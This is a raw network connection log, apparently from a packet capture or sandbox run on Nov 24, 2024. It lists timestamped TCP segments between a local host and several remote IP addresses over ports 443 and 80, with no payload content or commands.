Nov 24, 2024 05:11:37.567990065 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.567994118 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.573894024 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.573957920 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.574098110 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.574323893 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.574345112 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.597680092 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.597750902 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.597837925 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.598236084 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.598249912 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.598261118 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.598272085 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.603842020 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.603904963 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.603998899 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.604259014 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.604275942 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.660103083 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.660212040 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.660291910 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.660595894 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.660620928 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.660634041 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.660639048 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.665245056 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.665302038 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.665412903 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.665618896 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.665633917 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.753004074 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.753191948 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.753348112 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.759838104 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.759838104 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.759872913 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.759890079 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.764405966 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.764466047 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.764610052 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.764823914 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.764844894 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.799592972 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:37.799680948 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:37.800030947 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:37.800076962 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:37.912981033 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:37.913022995 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:37.913280010 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:37.913837910 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:37.913856983 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.218234062 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.218312025 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.219780922 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.219806910 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.220041037 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.229398966 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.229398966 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.229487896 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.263930082 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.264604092 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.264635086 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.266292095 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.266300917 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.358032942 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.358910084 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.358932018 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.359632015 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.359638929 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.383713007 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.385867119 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.385894060 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.386430979 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.386435986 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.451040030 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.458698988 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.458720922 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.459285021 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.459292889 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.618876934 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.619715929 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.619795084 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.621500015 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.621512890 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.783226013 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.783299923 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.783462048 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.783718109 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.783736944 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.783749104 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.783756018 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.787409067 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.787453890 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.788995028 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.789176941 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.789196014 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.801377058 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.801430941 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.801522017 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.801744938 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.801769972 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.801789999 CET	49752	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.801796913 CET	443	49752	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.805006027 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.805067062 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.805139065 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.805320978 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.805341005 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.827553988 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.827635050 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.827805042 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.835099936 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.835133076 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.835148096 CET	49753	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.835155964 CET	443	49753	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.838736057 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.838782072 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.842856884 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.843008041 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.843028069 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.894032955 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.894110918 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.894839048 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.894881010 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.894906044 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.894918919 CET	49754	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.894925117 CET	443	49754	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.903651953 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.903712988 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.903820038 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.904314995 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:39.904339075 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:39.949898958 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.949989080 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.950083971 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.950340986 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.950372934 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.950387001 CET	49756	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:39.950392962 CET	443	49756	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:39.952338934 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:40.071830988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:40.072226048 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:40.072647095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:40.074666977 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:40.074839115 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:40.074944973 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:40.075191021 CET	49755	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:40.075211048 CET	443	49755	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:40.079150915 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:40.079195023 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:40.079268932 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:40.079454899 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:40.079473019 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:40.192101002 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413022041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413053989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413064957 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413075924 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413085938 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413090944 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413098097 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413113117 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.413191080 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.413196087 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413207054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413216114 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.413266897 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.532793999 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.532814026 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.532969952 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.583901882 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.585011959 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.585079908 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.587269068 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.587277889 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.604882002 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.605042934 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.605110884 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.609064102 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.609163046 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.609216928 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.617451906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.617594957 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.617701054 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.625849009 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.625947952 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.626003027 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.632752895 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.633441925 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.633464098 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.634215117 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.634310007 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.634365082 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.634418011 CET	49757	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.634422064 CET	443	49757	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.642687082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.642822981 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.642877102 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.651026964 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.651128054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.651184082 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.659444094 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.659519911 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.659574986 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.667819023 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.667884111 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.667952061 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.676139116 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.676230907 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.676285028 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.684501886 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.684542894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.684602976 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.688385963 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.688915968 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.689220905 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.689234018 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.689480066 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.689507961 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.689996958 CET	49760	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.690006018 CET	443	49760	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.690023899 CET	49759	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.690037012 CET	443	49759	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.797431946 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.797449112 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.797518015 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.800740004 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.800753117 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.800810099 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.805340052 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.805351019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.805423021 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.809778929 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.810926914 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.813026905 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.816004992 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.816021919 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.816103935 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.820478916 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.820498943 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.820558071 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.825488091 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.825500011 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.825561047 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.829792023 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.829804897 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.829854012 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.834419012 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.834429979 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.834501028 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.839294910 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.839308977 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.839363098 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.844026089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.844039917 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.844122887 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.848548889 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.849751949 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.849803925 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.854381084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.854410887 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.854454994 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.858879089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.858889103 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.858938932 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.863459110 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.863475084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.863517046 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.868113041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.868124008 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.868197918 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.872759104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.873908043 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.876840115 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.878294945 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.878308058 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.878356934 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.882415056 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.882505894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.882575035 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.887281895 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.921555042 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.922297955 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.922363997 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.923084974 CET	49762	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:41.923093081 CET	443	49762	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:41.942857981 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.989562988 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.989794016 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.989972115 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.991588116 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.991698027 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.991743088 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.995582104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.995696068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.995767117 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:41.999579906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.999692917 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:41.999743938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.003617048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.003720999 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.003772020 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.007635117 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.007786036 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.007874012 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.011384964 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.011502981 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.011574030 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.015022039 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.015161037 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.015209913 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.018701077 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.018805981 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.018877983 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.022327900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.022411108 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.022484064 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.025949955 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.026053905 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.026123047 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.027082920 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.027143955 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.029216051 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.029289961 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.029318094 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.029329062 CET	49758	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.029335022 CET	443	49758	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.029632092 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.029722929 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.029774904 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.032773018 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.032808065 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.033258915 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.033358097 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.033375025 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:42.033426046 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:42.033552885 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:42.033564091 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:42.036962032 CET	80	49761	185.215.113.16	192.168.2.7
